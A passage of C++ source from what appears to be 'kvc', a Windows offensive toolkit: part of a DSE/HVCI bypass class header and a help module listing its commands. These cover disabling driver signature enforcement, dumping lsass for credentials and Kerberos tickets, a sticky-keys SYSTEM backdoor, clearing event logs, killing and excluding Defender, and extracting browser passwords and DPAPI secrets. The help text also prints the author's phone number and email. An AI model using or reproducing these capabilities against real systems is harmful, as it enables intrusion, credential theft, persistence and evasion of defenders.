        DWORD64   SavedCallback;   // For Safe method state tracking
    };

    DSEBypass(std::unique_ptr<kvc>& driver, TrustedInstallerIntegrator* ti);
    ~DSEBypass() = default;

    // ========================================================================
    // MAIN OPERATIONS
    // ========================================================================

    bool Disable(Method method) noexcept;
    bool Restore(Method method) noexcept;

    // ========================================================================
    // STATUS AND DIAGNOSTICS
    // ========================================================================

    bool GetStatus(Status& outStatus) noexcept;
    DSEState CheckSafeMethodState() noexcept;
    static std::wstring GetDSEStateString(DSEState state);

    ULONG_PTR GetCiOptionsAddress() const noexcept { return m_ciOptionsAddr; }
    DWORD     GetOriginalValue()    const noexcept { return m_originalCiOptions; }

    // ========================================================================
    // KERNEL MODULE HELPERS (public for Controller status checks)
    // ========================================================================

    std::optional<ULONG_PTR> GetKernelModuleBase(const char* moduleName) noexcept;

    // Thin wrapper - delegates to m_ciFinder.
    ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept;

    std::optional<std::pair<DWORD64, std::wstring>> GetKernelInfo() noexcept;

    // ========================================================================
    // HVCI DETECTION
    // ========================================================================

    // Check via g_CiOptions bits.
    // Bits 14=KMCI_ENABLED, 15=KMCI_AUDIT, 16=IUM_ENABLED.
    // On Win11 26H1+ bit 14 (0x4000) may be set even with HVCI off.
    // We consider HVCI enabled only if bit 15 or 16 is set.
    static bool IsHVCIEnabled(DWORD ciOptionsValue) noexcept {
        return (ciOptionsValue & 0x00018000) != 0;
    }

    // Registry fallback for 26H1+ where hypervisor may not expose HVCI bits.
    static bool CheckHVCIRegistry() noexcept;

    // ========================================================================
    // HVCI BYPASS (public for Controller to call after user confirmation)
    // ========================================================================

    bool RenameSkciLibrary()      noexcept;
    bool CreatePendingFileRename() noexcept;

private:
    std::unique_ptr<kvc>&       m_driver;
    TrustedInstallerIntegrator* m_trustedInstaller;
    CiOptionsFinder             m_ciFinder;
    SymbolEngine                m_symbolEngine;  // Lazy-initialized for Safe method

    // Cached state
    ULONG_PTR m_ciOptionsAddr    = 0;
    DWORD     m_originalCiOptions = 0;

    // ========================================================================
    // STANDARD METHOD
    // ========================================================================

    bool DisableStandard() noexcept;
    bool RestoreStandard() noexcept;
    bool RestoreSkciLibrary() noexcept;

    // ========================================================================
    // SAFE METHOD (SeCiCallbacks patching)
    // ========================================================================

    bool DisableSafe()  noexcept;
    bool RestoreSafe()  noexcept;

    std::wstring GetCurrentLCUVersion() noexcept;

    bool ApplyCallbackPatch(DWORD64 targetAddress,
                            DWORD64 safeFunction,
                            DWORD64 originalCallback) noexcept;
    bool RestoreCallbackPatch(DWORD64 targetAddress,
                              DWORD64 originalCallback) noexcept;
    bool ValidateOffsets(DWORD64 offSeCi,
                         DWORD64 offZwFlush,
                         DWORD64 kernelBase) noexcept;
};

<<<FILE: kvc/HelpSystem.cpp>>>
Created:  2026-05-27 20:15:44
Modified: 2026-05-28 17:29:21
Size:     44.99 KB
#include <windows.h>
#include "HelpSystem.h"
#include <iostream>
#include <iomanip>

extern "C" void ScreenShake(int intensity, int shakes);

// Console color constants for readability
namespace Colors {
    inline constexpr WORD BLUE_BRIGHT = FOREGROUND_BLUE | FOREGROUND_INTENSITY;
    inline constexpr WORD WHITE_BRIGHT = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY;
    inline constexpr WORD YELLOW_BRIGHT = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
    inline constexpr WORD RED_BRIGHT = FOREGROUND_RED | FOREGROUND_INTENSITY;
    inline constexpr WORD GREEN_BRIGHT = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
    inline constexpr WORD GRAY = FOREGROUND_INTENSITY;
}

void HelpSystem::PrintCentered(std::wstring_view text, HANDLE hConsole, WORD color) noexcept
{
    int textLen = static_cast<int>(text.length());
    int padding = (HelpLayout::WIDTH - textLen) / 2;
    if (padding < 0) padding = 0;
    
    SetConsoleTextAttribute(hConsole, color);
    std::wcout << std::wstring(padding, L' ') << text << L"\n";
}

void HelpSystem::PrintBoxLine(std::wstring_view text, HANDLE hConsole, 
                              WORD borderColor, WORD textColor) noexcept
{
    int textLen = static_cast<int>(text.length());
    int innerWidth = HelpLayout::WIDTH - 2;
    int padding = (innerWidth - textLen) / 2;
    if (padding < 0) padding = 0;
    
    SetConsoleTextAttribute(hConsole, borderColor);
    std::wcout << L"|";
    
    SetConsoleTextAttribute(hConsole, textColor);
    std::wcout << std::wstring(padding, L' ') << text
               << std::wstring(innerWidth - padding - textLen, L' ');
    
    SetConsoleTextAttribute(hConsole, borderColor);
    std::wcout << L"|\n";
}

void HelpSystem::PrintUsage(std::wstring_view programName) noexcept
{
    PrintHeader();
    
    std::wcout << L"Usage: " << programName << L" <command> [arguments]\n\n";
    
    PrintServiceCommands();
    PrintDSECommands();
    PrintDriverCommands();
    PrintBasicCommands();
    PrintModuleCommands();
    PrintProcessTerminationCommands();
    PrintProtectionCommands();
    PrintSessionManagement();
    PrintSystemCommands();
    PrintRegistryCommands();
    PrintBrowserCommands();
    PrintDefenderCommands();
    PrintSecurityEngineCommands();
    PrintDefenderUICommands();
    PrintDPAPICommands();
    PrintWatermarkCommands();
    PrintUnderVolterCommands();
    PrintForensicCommands();
    PrintEntertainmentCommands();
    PrintBlockerCommands();
    PrintProtectionTypes();
    PrintExclusionTypes();
    PrintPatternMatching();
    PrintTechnicalFeatures();
    PrintDefenderNotes();
    PrintStickyKeysInfo();
    PrintUndumpableProcesses();
    PrintUsageExamples(programName);
    PrintSecurityNotice();
    PrintFooter();
}

void HelpSystem::PrintHeader() noexcept
{
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;

    SetConsoleTextAttribute(hConsole, Colors::BLUE_BRIGHT);
    std::wcout << L"\n" << HelpLayout::MakeBorder() << L"\n";

    PrintCentered(L"Marek Wesolowski - WESMAR - 2025", hConsole, Colors::WHITE_BRIGHT);
    PrintCentered(L"kvc.exe v1.0.4 https://kvc.pl", hConsole, Colors::WHITE_BRIGHT);
    PrintCentered(L"+48 607-440-283, marek@wesolowski.eu.org", hConsole, Colors::WHITE_BRIGHT);
    PrintCentered(L"kvc - Kernel Vulnerability Capabilities Framework", hConsole, Colors::WHITE_BRIGHT);
    PrintCentered(L"Comprehensive Windows Security Research & Penetration Framework", hConsole, Colors::WHITE_BRIGHT);
    PrintCentered(L"Features Process Protection, DPAPI Extraction, Defender Bypass & More", hConsole, Colors::WHITE_BRIGHT);

    SetConsoleTextAttribute(hConsole, Colors::BLUE_BRIGHT);
    std::wcout << HelpLayout::MakeBorder() << L"\n\n";

    SetConsoleTextAttribute(hConsole, originalColor);
}

void HelpSystem::PrintServiceCommands() noexcept
{
    PrintSectionHeader(L"Service Management Commands (Advanced Scenarios)");
    PrintCommandLine(L"setup", L"Decrypt and deploy combined binary components from kvc.dat");
    PrintCommandLine(L"install", L"Install kvc as NT service with TrustedInstaller privileges");
    PrintCommandLine(L"uninstall", L"Remove NT service + BootExecute entry + drivers.ini (full cleanup)");
    PrintCommandLine(L"uninstall smss", L"Remove only SMSS boot loader (BootExecute + drivers.ini, keep service)");
    PrintCommandLine(L"service start", L"Start the Kernel Vulnerability Capabilities Framework service");
    PrintCommandLine(L"service stop", L"Stop the Kernel Vulnerability Capabilities Framework service");
    PrintCommandLine(L"service status", L"Check service status");
    std::wcout << L"\n";

    PrintSectionHeader(L"SMSS Boot-Phase Driver Loader");
    PrintCommandLine(L"install <driver>", L"Register driver for early SMSS boot loading (auto-resolves System32\\drivers\\)");
    PrintCommandLine(L"install <driver.sys>", L"Same - .sys extension optional");
    PrintCommandLine(L"install --pdb <driver>", L"Same + pre-resolve offsets from PDB symbols (skips boot-time scan)");
    PrintNote(L"Writes entry to C:\\Windows\\drivers.ini (UTF-16, AutoPatch=YES)");
    PrintNote(L"Adds kvc_smss.exe to BootExecute: autocheck autochk * \\0 kvc_smss");
    PrintNote(L"Default: no offsets written - kvc_smss heuristic scanner resolves at boot (always fresh)");
    PrintNote(L"--pdb: resolves SeCiCallbacks/ZwFlushInstructionCache via PDB, writes to INI (OffsetSource=PDB)");
    PrintNote(L"--pdb fallback: if PDB lookup fails, scanner runs at boot anyway");
    PrintNote(L"--pdb caveat: stale after Windows update - re-run install or drop --pdb to revert to scanner");
    PrintNote(L"kvc_smss runs before services.exe, before antivirus user-mode components");
    PrintNote(L"DSE bypass sequence: kvc.sys (DriverStore) -> patch -> load target -> restore -> unload");
    PrintNote(L"Verbose=YES in drivers.ini: screen output during boot; NO: silent (check via sc query)");
    std::wcout << L"\n";
}

void HelpSystem::PrintDSECommands() noexcept
{
    PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control");
    PrintCommandLine(L"dse off", L"Disable DSE (Standard: g_CiOptions or HVCI bypass)");
    PrintCommandLine(L"dse off --safe", L"Disable DSE (Next-Gen: SeCiCallbacks + PDB symbols)");
    PrintCommandLine(L"dse on", L"Restore DSE (Standard method)");
    PrintCommandLine(L"dse on --safe", L"Restore DSE (Next-Gen method)");
    PrintCommandLine(L"dse", L"Check current DSE status (both methods)");
    
    PrintNote(L"Standard method: Modifies g_CiOptions or prepares HVCI bypass");
    PrintNote(L"--safe method: Patches SeCiCallbacks using PDB symbols");
    PrintNote(L"--safe requires Internet on first run to download kernel symbols");
    PrintNote(L"--safe is PatchGuard-resistant on modern Win10/11");
    PrintNote(L"Both methods store state in HKEY_CURRENT_USER\\Software\\kvc\\DSE");
    PrintNote(L"Symbols cached locally in .\\symbols\\ for offline use");
    std::wcout << L"\n";
}

void HelpSystem::PrintDriverCommands() noexcept
{
    PrintSectionHeader(L"External Driver Loading (Auto DSE Bypass)");
    PrintCommandLine(L"driver load <path>", L"Load unsigned driver (Patch -> Start -> Unpatch)");
    PrintCommandLine(L"driver load <path> -s <0-4>", L"Load with specific StartType (0=Boot,1=System,2=Auto,3=Demand,4=Disabled)");
    PrintCommandLine(L"driver reload <n>", L"Reload driver (Stop -> Patch -> Start -> Unpatch)");
    PrintCommandLine(L"driver stop <n>", L"Stop driver service (no delete)");
    PrintCommandLine(L"driver remove <n>", L"Stop and delete driver service");
    
    PrintNote(L"Path can be full (C:\\test.sys) or short name (test -> System32\\drivers\\test.sys)");
    PrintNote(L"Uses Next-Gen DSE bypass (SeCiCallbacks) - PatchGuard resistant");
    PrintNote(L"DSE is automatically restored after driver loads");
    std::wcout << L"\n";
}

void HelpSystem::PrintBasicCommands() noexcept
{
    PrintSectionHeader(L"Memory Dumping Commands");
    PrintCommandLine(L"dump <PID|process_name> [path]", L"Create comprehensive memory dump");
    PrintNote(L"Default output: Downloads folder. Custom path: 'kvc dump lsass C:\\dumps'");
    PrintNote(L"After lsass dump: offered immediate credential analysis via KvcForensic");
    PrintWarning(L"MsMpEng dump only works with Defender disabled (otherwise Ctrl+C)");
    std::wcout << L"\n";
    
    PrintSectionHeader(L"Process Information Commands");
    PrintCommandLine(L"list", L"List all protected processes with color coding");
	PrintCommandLine(L"list --gui", L"Launch interactive GUI mode for process management");
    PrintCommandLine(L"get <PID|process_name>", L"Get protection status of specific process");
    PrintCommandLine(L"info <PID|process_name>", L"Get detailed process info including dumpability");
    std::wcout << L"\n";
}

void HelpSystem::PrintModuleCommands() noexcept
{
    PrintSectionHeader(L"Module Enumeration Commands");
    PrintCommandLine(L"modules <PID|process_name>", L"List all loaded modules in target process (alias: mods)");
    PrintCommandLine(L"modules <PID> read <module>", L"Read first 256 bytes from module (PE header)");
    PrintCommandLine(L"modules <PID> read <module> <offset>", L"Read 256 bytes from specified offset");
    PrintCommandLine(L"modules <PID> read <module> <offset> <size>", L"Read custom size (max 4096 bytes)");
    PrintNote(L"Module name supports partial matching: 'ntdll' finds 'ntdll.dll'");
    PrintNote(L"Offset accepts decimal or hex (0x prefix): 0x1000 or 4096");
    PrintNote(L"Uses kernel driver for protected process memory access");
    std::wcout << L"\n";
}

void HelpSystem::PrintProcessTerminationCommands() noexcept
{
    PrintSectionHeader(L"Process Termination Commands");
    PrintCommandLine(L"kill <PID|process_name>", L"Terminate process with automatic protection elevation");
    PrintCommandLine(L"kill <PID1,PID2,name3>", L"Terminate multiple processes (comma-separated)");
    PrintNote(L"Primary: kvc.sys kernel primitive (KillProcessInternal)");
    PrintNote(L"Fallback: kvckiller.sys (wsftprm service, digitally signed) - kills any PP/PPL, no restart needed");
    PrintNote(L"Exe path cached at kill time; 'kvc restore <name>' can relaunch the process");
    PrintNote(L"Supports process names: 'kill total' terminates Total Commander");
    PrintNote(L"Case-insensitive partial matching: 'notepad' matches 'notepad.exe'");
    std::wcout << L"\n";
}

void HelpSystem::PrintProtectionCommands() noexcept
{
    PrintSectionHeader(L"Process Protection Commands");
    PrintCommandLine(L"set <PID|process_name> <PP|PPL> <TYPE>", L"Set protection (force, ignoring current state)");
    PrintCommandLine(L"protect <PID|process_name> <PP|PPL> <TYPE>", L"Protect unprotected process");
    PrintCommandLine(L"unprotect <PID|process_name|SIGNER>", L"Remove protection from process(es)");
    PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes");
    PrintCommandLine(L"unprotect <PID1,PID2,PID3>", L"Remove protection from multiple processes");
    PrintCommandLine(L"set-signer <SIGNER> <PP|PPL> <NEW_SIGNER>", L"Batch modify protection for all processes of specific signer");
    PrintCommandLine(L"list-signer <SIGNER>", L"List all processes with specific signer");
    PrintCommandLine(L"restore <signer_name|process_name>", L"Restore PPL state or relaunch killed process");
    PrintCommandLine(L"restore all", L"Restore all saved protection states");
    PrintCommandLine(L"history", L"Show saved session history (max 16 sessions)");
    PrintCommandLine(L"cleanup-sessions", L"Delete all sessions except current");
    PrintNote(L"SIGNER can be: Antimalware, WinTcb, Windows, Lsa, WinSystem, etc.");
    std::wcout << L"\n";
}

void HelpSystem::PrintSystemCommands() noexcept
{
    PrintSectionHeader(L"System Integration Commands");
    PrintCommandLine(L"shift", L"Install sticky keys backdoor (5x Shift = SYSTEM cmd)");
    PrintCommandLine(L"unshift", L"Remove sticky keys backdoor");
    PrintCommandLine(L"trusted <command>", L"Run command with elevated system privileges");
    PrintCommandLine(L"install-context", L"Add context menu entries for right-click access");
    PrintCommandLine(L"evtclear", L"Clear all primary system event logs (Application, Security, Setup, System)");
    std::wcout << L"\n";
}

void HelpSystem::PrintRegistryCommands() noexcept
{
    PrintSectionHeader(L"Registry Backup & Defragmentation");
    PrintCommandLine(L"registry backup", L"Backup all registry hives to Downloads");
    PrintCommandLine(L"registry backup C:\\backup", L"Backup to custom directory");
    PrintCommandLine(L"registry restore C:\\backup", L"Restore hives from backup");
    PrintCommandLine(L"registry defrag", L"Defragment registry (backup+compact)");
    PrintNote(L"Backs up: BCD, SAM, SECURITY, SOFTWARE, SYSTEM, NTUSER, etc.");
    PrintNote(L"Default path: Downloads\\Registry_Backup_YYYYMMDD_HHMMSS");
    PrintNote(L"Defrag compacts hives through RegSaveKeyEx (no fragmentation)");
    std::wcout << L"\n";
}

void HelpSystem::PrintDefenderCommands() noexcept
{
    PrintSectionHeader(L"Enhanced Windows Defender Exclusion Management");
    PrintCommandLine(L"add-exclusion <path>", L"Add file/folder to exclusions (legacy syntax)");
    PrintCommandLine(L"add-exclusion Paths <path>", L"Add specific path to exclusions");
    PrintCommandLine(L"add-exclusion Processes <n>", L"Add process to exclusions");
    PrintCommandLine(L"add-exclusion Extensions <ext>", L"Add file extension to exclusions");
    PrintCommandLine(L"add-exclusion IpAddresses <ip>", L"Add IP address/CIDR to exclusions");
    PrintCommandLine(L"remove-exclusion [TYPE] <value>", L"Remove exclusion (same syntax as add)");
    PrintNote(L"When no path specified, adds current program to both Paths and Processes");
    std::wcout << L"\n";
}

void HelpSystem::PrintSecurityEngineCommands() noexcept
{
    PrintSectionHeader(L"Security Engine Management");
    PrintCommandLine(L"secengine disable", L"IFEO block + kill MsMpEng/SecurityHealthSystray/SecurityHealthService");
    PrintCommandLine(L"secengine enable",  L"Remove IFEO block, start WinDefend + SecurityHealthService");
    PrintCommandLine(L"secengine status",  L"Show IFEO block / service / process state");
    PrintNote(L"Offline IFEO hive edit - bypasses DACL on protected registry keys");
    PrintNote(L"disable: IFEO set on 3 targets, then kvckiller.sys kills running processes immediately");
    PrintNote(L"disable: kvckiller.sys is digitally signed - no HVCI restart, no DSE bypass needed");
    PrintNote(L"disable: MsMpEng.exe + SecurityHealthSystray via IOCTL; SecurityHealthService via SCM stop");
    PrintNote(L"enable:  WinDefend + SecurityHealthService started via SCM; MsMpEng.exe up within seconds");

    auto ex = [](const wchar_t* cmd, const wchar_t* desc) {
        std::wcout << L"  " << std::left << std::setw(HelpLayout::EXAMPLE_CMD_WIDTH)
                   << cmd << L"# " << desc << L"\n";
    };
    std::wcout << L"\n  Examples:\n";
    ex(L"kvc secengine status",  L"Show IFEO block, WinDefend and MsMpEng state");
    ex(L"kvc secengine disable", L"Set IFEO blocks and kill Defender processes immediately");
    ex(L"kvc secengine enable",  L"Clear blocks and start Defender engine right now");
    std::wcout << L"\n";
}

void HelpSystem::PrintDefenderUICommands() noexcept
{
    PrintSectionHeader(L"Windows Defender UI Automation");
    PrintCommandLine(L"rtp on", L"Enable Real-Time Protection");
    PrintCommandLine(L"rtp off", L"Disable Real-Time Protection");
    PrintCommandLine(L"rtp status", L"Check Real-Time Protection status");
    PrintCommandLine(L"tp on", L"Enable Tamper Protection");
    PrintCommandLine(L"tp off", L"Disable Tamper Protection");
    PrintCommandLine(L"tp status", L"Check Tamper Protection status");
    PrintNote(L"Uses ghost mode (invisible window, UAC bypass, pre-warming)");
    PrintNote(L"Fully automated - no user interaction required");
    std::wcout << L"\n";
}

void HelpSystem::PrintSessionManagement() noexcept
{
    PrintSectionHeader(L"Session Management System");
    std::wcout << L"  - Automatic boot detection and session tracking (max 16 sessions)\n";
    std::wcout << L"  - Each 'unprotect' operation saves process states grouped by signer\n";
    std::wcout << L"  - 'restore' commands reapply protection from saved session state\n";
    std::wcout << L"  - Session history persists across reboots until limit reached\n";
    std::wcout << L"  - Oldest sessions auto-deleted when exceeding 16 session limit\n";
    std::wcout << L"  - Manual cleanup available via 'cleanup-sessions' command\n";
    std::wcout << L"  - Status tracking: UNPROTECTED (after unprotect) -> RESTORED (after restore)\n\n";
}

void HelpSystem::PrintBrowserCommands() noexcept
{
    PrintSectionHeader(L"Browser Password Extraction Commands");
    PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)");
    PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly");
    PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords");  
    PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords");
    PrintCommandLine(L"bp --all", L"Extract from all installed browsers");
    PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory");
    PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path");
    PrintNote(L"Requires kvc_pass.exe for Chrome/Brave/All");
    PrintNote(L"Edge with kvc_pass: JSON + cookies + HTML/TXT reports (full extraction)");
    PrintNote(L"Edge without kvc_pass: HTML/TXT reports only (built-in DPAPI fallback)");
    std::wcout << L"\n";
}

void HelpSystem::PrintDPAPICommands() noexcept
{
    PrintSectionHeader(L"DPAPI Secrets Extraction Commands");
    PrintCommandLine(L"export secrets [path]", L"Extract browser & WiFi secrets using TrustedInstaller");
    PrintNote(L"Default path is the Downloads folder - simple: 'kvc export secrets'");
    PrintNote(L"Extracts Chrome, Edge passwords + WiFi credentials + master keys");
    std::wcout << L"\n";
}

void HelpSystem::PrintWatermarkCommands() noexcept
{
    PrintSectionHeader(L"Watermark Management");
    PrintCommandLine(L"watermark remove", L"Remove Windows desktop watermark (alias: wm remove)");
    PrintCommandLine(L"watermark restore", L"Restore Windows desktop watermark (alias: wm restore)");
    PrintCommandLine(L"watermark status", L"Check current watermark status (alias: wm status)");
    PrintNote(L"Hijacks ExplorerFrame.dll via registry redirection");
    PrintNote(L"Requires Administrator privileges and TrustedInstaller access");
    std::wcout << L"\n";
}

void HelpSystem::PrintUnderVolterCommands() noexcept
{
    PrintSectionHeader(L"UnderVolter - EFI Undervolting Module");
    PrintCommandLine(L"undervolter deploy", L"Decrypt UnderVolter.dat and write EFI files to ESP");
    PrintCommandLine(L"undervolter remove", L"Restore backed-up BOOTX64.EFI, remove EFI\\UnderVolter\\");
    PrintCommandLine(L"undervolter status", L"Check whether UnderVolter is deployed on the EFI partition");
    PrintNote(L"Requires UnderVolter.dat in current directory or System32");
    PrintNote(L"Build UnderVolter.dat: KvcXor.exe option 6 (Loader.efi + UnderVolter.efi + UnderVolter.ini)");
    PrintNote(L"Deploy mode A: replaces \\EFI\\BOOT\\BOOTX64.EFI (original backed up as BOOTX64.efi.bak)");
    PrintNote(L"Deploy mode B: copies to \\EFI\\UnderVolter\\ only - add UEFI boot entry manually");
    std::wcout << L"\n";
}

void HelpSystem::PrintForensicCommands() noexcept
{
    PrintSectionHeader(L"Forensic Analysis - KvcForensic Module");
    PrintCommandLine(L"analyze <dump.dmp>", L"Analyze minidump - extract credentials (MSV/WDigest/Kerberos/TSPKG)");
    PrintCommandLine(L"analyze <dump.dmp> --format txt|json|both", L"Output format (default: both)");
    PrintCommandLine(L"analyze <dump.dmp> --full", L"Include metadata header in text report");
    PrintCommandLine(L"analyze <dump.dmp> --tickets <dir>", L"Export Kerberos tickets as .kirbi + .ccache");
    PrintCommandLine(L"analyze lsass", L"Find most recent lsass dump (CWD or Downloads) and analyze");
    PrintCommandLine(L"analyze --gui", L"Open KvcForensic in GUI mode (drag-and-drop interface)");
    PrintNote(L"Output files written alongside the dump (.txt / .json, same directory)");
    PrintNote(L"Requires kvcforensic.dat - place in CWD and run 'kvc setup', or copy to System32");
    PrintNote(L"Build kvcforensic.dat: KvcXor.exe option 7 (KvcForensic.exe + KvcForensic.json)");
    PrintNote(L"'kvc dump lsass' offers immediate analysis after successful dump");
    std::wcout << L"\n";
}

void HelpSystem::PrintEntertainmentCommands() noexcept
{
    PrintSectionHeader(L"Entertainment");
    PrintCommandLine(L"--tetris", L"Launch classic Tetris game (x64 assembly)");
    PrintNote(L"Arrow keys to move/rotate, Space for hard drop, P to pause");
    PrintNote(L"Press F2 to start new game, ESC to exit");
    std::wcout << L"\n";
}

void HelpSystem::PrintBlockerCommands() noexcept
{
    PrintSectionHeader(L"Filesystem Blocker (kvcblocker.sys)");
    PrintCommandLine(L"lock --gui",               L"Open VaultGuard protection GUI");
    PrintCommandLine(L"lock --tray",              L"Open VaultGuard GUI minimized to tray");
    PrintCommandLine(L"lock status",              L"Driver status: active, path count, trusted count");
    PrintCommandLine(L"lock on",                  L"Enable filesystem protection globally");
    PrintCommandLine(L"lock off",                 L"Disable filesystem protection globally");
    PrintCommandLine(L"lock add <path> <mode>",   L"Protect folder (Hidden|Locked|ReadOnly|NoExec|All)");
    PrintCommandLine(L"lock remove <path>",       L"Remove folder from protection");
    PrintCommandLine(L"lock allow <app.exe>",     L"Add process to bypass list (case-insensitive)");
    PrintCommandLine(L"lock unallow <app.exe>",   L"Remove process from bypass list");
    PrintCommandLine(L"lock list",                L"List protected paths and trusted apps");
    PrintCommandLine(L"lock clear",               L"Remove all protected paths and trusted entries");
    PrintNote(L"Kernel minifilter driver, altitude 389991 (FSFilter Content Screener)");
    PrintNote(L"Service: clrcd  |  Device: BE79F7D8-53E6-4308-9D51-EDCDA79805C4");
    PrintNote(L"Driver deployed by 'kvc list' or automatically on first 'kvc lock' command");
    PrintNote(L"Protection modes: Hidden=hide from shell, Locked=block all writes,");
    PrintNote(L"  ReadOnly=block writes allow reads, NoExec=block execution");
    std::wcout << L"\n";
}

void HelpSystem::PrintProtectionTypes() noexcept
{
    PrintSectionHeader(L"Protection Types");
    std::wcout << L"  PP  - Protected Process (highest protection level)\n";
    std::wcout << L"  PPL - Protected Process Light (medium protection level)\n\n";
    
    PrintSectionHeader(L"Signer Types");
    std::wcout << L"  Authenticode  - Standard code signing authority\n";
    std::wcout << L"  CodeGen       - Code generation process signing\n";
    std::wcout << L"  Antimalware   - Antimalware vendor signing (for security software)\n";
    std::wcout << L"  Lsa           - Local Security Authority signing\n";
    std::wcout << L"  Windows       - Microsoft Windows component signing\n";
    std::wcout << L"  WinTcb        - Windows Trusted Computing Base signing\n";
    std::wcout << L"  WinSystem     - Windows System component signing\n";
    std::wcout << L"  App           - Application store signing\n\n";
}

void HelpSystem::PrintExclusionTypes() noexcept
{
    PrintSectionHeader(L"Exclusion Types");
    std::wcout << L"  Paths         - File/folder paths (C:\\malware.exe, C:\\temp\\)\n";
    std::wcout << L"  Processes     - Process names (malware.exe, cmd.exe)\n";
    std::wcout << L"  Extensions    - File extensions (.exe, .dll, .tmp)\n";
    std::wcout << L"  IpAddresses   - IP addresses/CIDR (192.168.1.1, 10.0.0.0/24)\n\n";
}

void HelpSystem::PrintPatternMatching() noexcept
{
    PrintSectionHeader(L"Process Name Matching");
    std::wcout << L"  - Exact match: 'explorer', 'notepad'\n";
    std::wcout << L"  - Partial match: 'total' matches 'totalcmd64'\n";
    std::wcout << L"  - Wildcards: 'total*' matches 'totalcmd64.exe'\n";
    std::wcout << L"  - Case insensitive matching supported\n";
    std::wcout << L"  - Multiple matches require more specific patterns\n\n";
}

void HelpSystem::PrintTechnicalFeatures() noexcept
{
    PrintSectionHeader(L"TrustedInstaller Features");
    std::wcout << L"  - Executes commands with maximum system privileges\n";
    std::wcout << L"  - Supports .exe files and .lnk shortcuts automatically\n";
    std::wcout << L"  - Adds convenient context menu entries\n";
    std::wcout << L"  - Enhanced Windows Defender exclusion management\n\n";
    
    PrintSectionHeader(L"Technical Features");
    std::wcout << L"  - Dynamic kernel driver loading (no permanent installation)\n";
    std::wcout << L"  - Embedded encrypted driver with steganographic protection\n";
    std::wcout << L"  - Automatic privilege escalation for memory dumping\n";
    std::wcout << L"  - Complete cleanup on exit (no system traces)\n";
    std::wcout << L"  - Advanced process pattern matching\n";
    std::wcout << L"  - Color-coded process protection visualization\n";
    std::wcout << L"  - IFEO sticky keys backdoor with Defender bypass\n";
    std::wcout << L"  - Self-protection capabilities for advanced scenarios\n";
    std::wcout << L"  - Comprehensive Windows Defender exclusion management\n\n";

    PrintSectionHeader(L"SMSS Boot Loader (kvc_smss.exe)");
    std::wcout << L"  - Native application (SUBSYSTEM:NATIVE) - runs in SMSS phase before Winlogon\n";
    std::wcout << L"  - Registered via BootExecute: executes after autocheck autochk *\n";
    std::wcout << L"  - DSE bypass using kvc.sys from DriverStore (no embedded vulnerable driver)\n";
    std::wcout << L"  - INI-driven: C:\\Windows\\drivers.ini controls all operations declaratively\n";
    std::wcout << L"  - Supports LOAD, UNLOAD, RENAME, DELETE operations in configurable order\n";
    std::wcout << L"  - HVCI detection: patches SYSTEM hive directly if Memory Integrity is active\n";
    std::wcout << L"  - Verbose=NO for silent boot - no screen output, verify via sc query\n";
    std::wcout << L"  - Default: heuristic scanner resolves offsets at boot (Fast->Structural->Legacy)\n";
    std::wcout << L"  - Optional --pdb flag pre-writes offsets from symbols; stale after Windows Update\n\n";
}

void HelpSystem::PrintDefenderNotes() noexcept
{
    PrintSectionHeader(L"Defender Exclusion Notes");
    std::wcout << L"  Defender exclusions use the WMI MSFT_MpPreference COM interface (root\\Microsoft\\Windows\\Defender).\n";
    std::wcout << L"  Extensions: Automatically adds leading dot if missing (.exe, not exe)\n";
    std::wcout << L"  Processes: Extracts filename from full path if provided\n";
    std::wcout << L"  IpAddresses: Supports CIDR notation (192.168.1.0/24)\n";
    std::wcout << L"  Self-protection: When no arguments, adds to both Paths and Processes\n";
    std::wcout << L"  Legacy syntax (kvc add-exclusion file.exe) still works for compatibility\n\n";
}

void HelpSystem::PrintStickyKeysInfo() noexcept
{
    PrintSectionHeader(L"Sticky Keys Backdoor Features");
    std::wcout << L"  - Press 5x Shift on login screen to get SYSTEM cmd.exe\n";
    std::wcout << L"  - Works without login or active session\n";
    std::wcout << L"  - Bypasses Windows Defender with process exclusions\n";
    std::wcout << L"  - Uses Image File Execution Options (IFEO) technique\n";
    std::wcout << L"  - Complete cleanup with 'unshift' command\n\n";
    
    PrintSectionHeader(L"Sticky Keys Backdoor Notes");
    std::wcout << L"  After 'kvc shift', press 5x Shift on Windows login screen to get cmd.exe.\n";
    std::wcout << L"  The cmd runs with SYSTEM privileges without requiring login.\n";
    std::wcout << L"  Defender process exclusions prevent detection of cmd.exe activity.\n";
    std::wcout << L"  Use 'kvc unshift' to completely remove all traces.\n";
    std::wcout << L"  This technique works on Windows 7-11, including Server editions.\n\n";
}

void HelpSystem::PrintUndumpableProcesses() noexcept
{
    PrintSectionHeader(L"Undumpable System Processes");
    std::wcout << L"  - System (PID 4)           - Windows kernel process\n";
    std::wcout << L"  - Secure System (PID 188)  - VSM/VBS protected process\n";
    std::wcout << L"  - Registry (PID 232)       - Kernel registry subsystem\n";
    std::wcout << L"  - Memory Compression       - Kernel memory manager\n";
    std::wcout << L"  - [Unknown] processes      - Transient kernel processes\n\n";
}

void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept
{
    PrintSectionHeader(L"Usage Examples");
    
    auto printLine = [](const std::wstring& command, const std::wstring& description) {
        std::wcout << L"  " << std::left << std::setw(HelpLayout::EXAMPLE_CMD_WIDTH) 
                   << command << L"# " << description << L"\n";
    };
    
    // Process inspection and monitoring
    printLine(L"kvc list", L"Show all protected processes");
	printLine(L"kvc list --gui", L"Launch interactive GUI for visual management");
    printLine(L"kvc info lsass", L"Detailed info with dumpability analysis");
    
    // Process protection management
    printLine(L"kvc protect 1044 PPL Antimalware", L"Protect process with PPL-Antimalware");
